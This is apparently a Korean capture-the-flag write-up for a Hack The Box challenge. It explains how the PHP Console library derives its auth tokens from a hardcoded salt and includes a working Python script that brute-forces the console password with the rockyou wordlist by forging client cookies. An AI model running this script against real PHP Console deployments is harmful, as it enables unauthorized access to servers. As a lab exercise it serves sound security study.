문제 드가보면
PHP Version 7.2.28
Your IP is 10.255.0.2
Make sure to load php-console in order to be prompted for a password
라고 한다. PHP Console이라고 검색해보니까 구글 확장 프로그램이 있어서 설치했다. 설치하면 인증을 위해 비밀번호를 입력하라고 한다. github에 코드가 올라와있다.
src/Auth.php :
const PASSWORD_HASH_SALT = 'NeverChangeIt:)';
public function __construct($password, $publicKeyByIp = true) {
$this->publicKeyByIp = $publicKeyByIp;
$this->passwordHash = $this->getPasswordHash($password);
}
protected final function getPasswordHash($password) {
return $this->hash($password . self::PASSWORD_HASH_SALT);
}
public final function isValidAuth(ClientAuth $clientAuth) {
return $clientAuth->publicKey === $this->getPublicKey() && $clientAuth->token === $this->getToken();
}
protected function getClientUid() {
$clientUid = '';
if($this->publicKeyByIp) {
if(isset($_SERVER['REMOTE_ADDR'])) {
$clientUid .= $_SERVER['REMOTE_ADDR'];
}
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$clientUid .= $_SERVER['HTTP_X_FORWARDED_FOR'];
}
}
return $clientUid;
}
/**
* Get authorization session public key for current client
* @return string
*/
protected function getPublicKey() {
return $this->hash($this->getClientUid() . $this->passwordHash);
}
/**
* Get string signature for current password & public key
* @param $string
* @return string
*/
public final function getSignature($string) {
return $this->hash($this->passwordHash . $this->getPublicKey() . $string);
}
/**
* Get expected valid client authorization token
* @return string
*/
private final function getToken() {
return $this->hash($this->passwordHash . $this->getPublicKey());
}
PHP Console 확장 프로그램에 비밀번호를 입력해서 보내면 Response 헤더에 다음과 같은 내용이 추가되어 돌아온다:
PHP-Console: {"protocol":5,"auth":{"publicKey":"d1d58b2f732fd546d9507da275a71bddc0c2300a214af3f3f3a5f5f249fe275e","isSuccess":false},"docRoot":null,"sourcesBasePath":null,"getBackData":null,"isLocal":null,"isSslOnlyMode":false,"isEvalEnabled":null,"messages":[]}
passwordHash
는 password
와 PASSWORD_HASH_SALT
값을 concat한 값을 SHA256 hash 해서 얻는다.
내 IP를 이용해 $clientUID
를 얻고, 그 값과 passwordHash
를 concat한 값을 SHA256 hash를 해서 public key를 얻는다.
passwordHash
와 위에서 얻은 public key
를 concat한 값을 SHA256 hash해서 token을 만든다.
PHP Console 확장 프로그램에 비밀번호를 입력해서 보내면 요청헤더에는 다음과 같은 게 포함된다:
php-console-client=eyJwaHAtY29uc29sZS1jbGllbnQiOjUsImF1dGgiOnsicHVibGljS2V5IjoiZDFkNThiMmY3MzJmZDU0NmQ5NTA3ZGEyNzVhNzFiZGRjMGMyMzAwYTIxNGFmM2YzZjNhNWY1ZjI0OWZlMjc1ZSIsInRva2VuIjoiNzJhYmIzZmE5MmE2OGFhZDExZGM2M2JkMDkyMjg3NWI3NmZkMjM2NDI1OGE5YTgyNDZmNjYzNzE0YzBiOTI5NyJ9fQ==
bash 64 디코딩 :
{"php-console-client":5,"auth":{"publicKey":"d1d58b2f732fd546d9507da275a71bddc0c2300a214af3f3f3a5f5f249fe275e","token":"72abb3fa92a68aad11dc63bd0922875b76fd2364258a9a8246f663714c0b9297"}}
publicKey
가 똑같은걸 알 수 있고, token
을 보낸다. 올바른 token
을 보내야 인증이 성공하는 것 같다.
위의 코드에서 token
은 passwordHash
와 publicKey
를 합쳐 만든다:
SHA256(SHA256(password+"+")+publicKey)
password만 맞추면 되니까, brute force해 볼 수 있을 것 같다.
console.py
import requests
import hashlib
import base64
import json
url="http://docker.hackthebox.eu:30335"
publicKey="d1d58b2f732fd546d9507da275a71bddc0c2300a214af3f3f3a5f5f249fe275e"
f=open("/usr/share/wordlists/rockyou.txt","r")
while True:
line=f.readline().strip("\n")
password=line+"NeverChangeIt:)"
passwordHash=hashlib.sha256(password.encode()).hexdigest()
token=hashlib.sha256((passwordHash+publicKey).encode()).hexdigest()
php_client={"php-console-client":5,"auth":{"publicKey":publicKey,"token":token}}
php_client_encoded=base64.b64encode(json.dumps(php_client).encode()).decode()
cookies={
"php-console-server":"5",
"php-console-client":php_client_encoded
}
req=requests.get(url,cookies=cookies)
response=req.headers['PHP-Console']
php_console=json.loads(response)
result=php_console['auth']['isSuccess']
print ("result: "+str(result))
if result !=False:
print(line)
break
print ("Crack Complete! Password is "+password.split("N")[0])
처음에 cookies의 php-console-server
에 값을 그냥 숫자형 5로 줬는데 에러가 났다.
self.non_word_re.search(cookie.value) and version > 0):
/usr/lib/python2.7/cookielib.py
에서 에러가 난 부분이 여기다.
검색해보니 re.search()
함수의 매개변수는 str
이어야 한다. 한 수 배웠다..
...
result: False
result: False
result: False
result: False
result: False
result: False
result: False
result: False
result: False
result: False
result: False
result: False
result: False
result: False
result: False
result: False
result: False
result: False
result: False
result: True
poohbear
Crack Complete! Password is poohbear
password에 poohbear
입력하면 로그인이 되고, console에 flag가 있다.
🏁 HTB{🤐}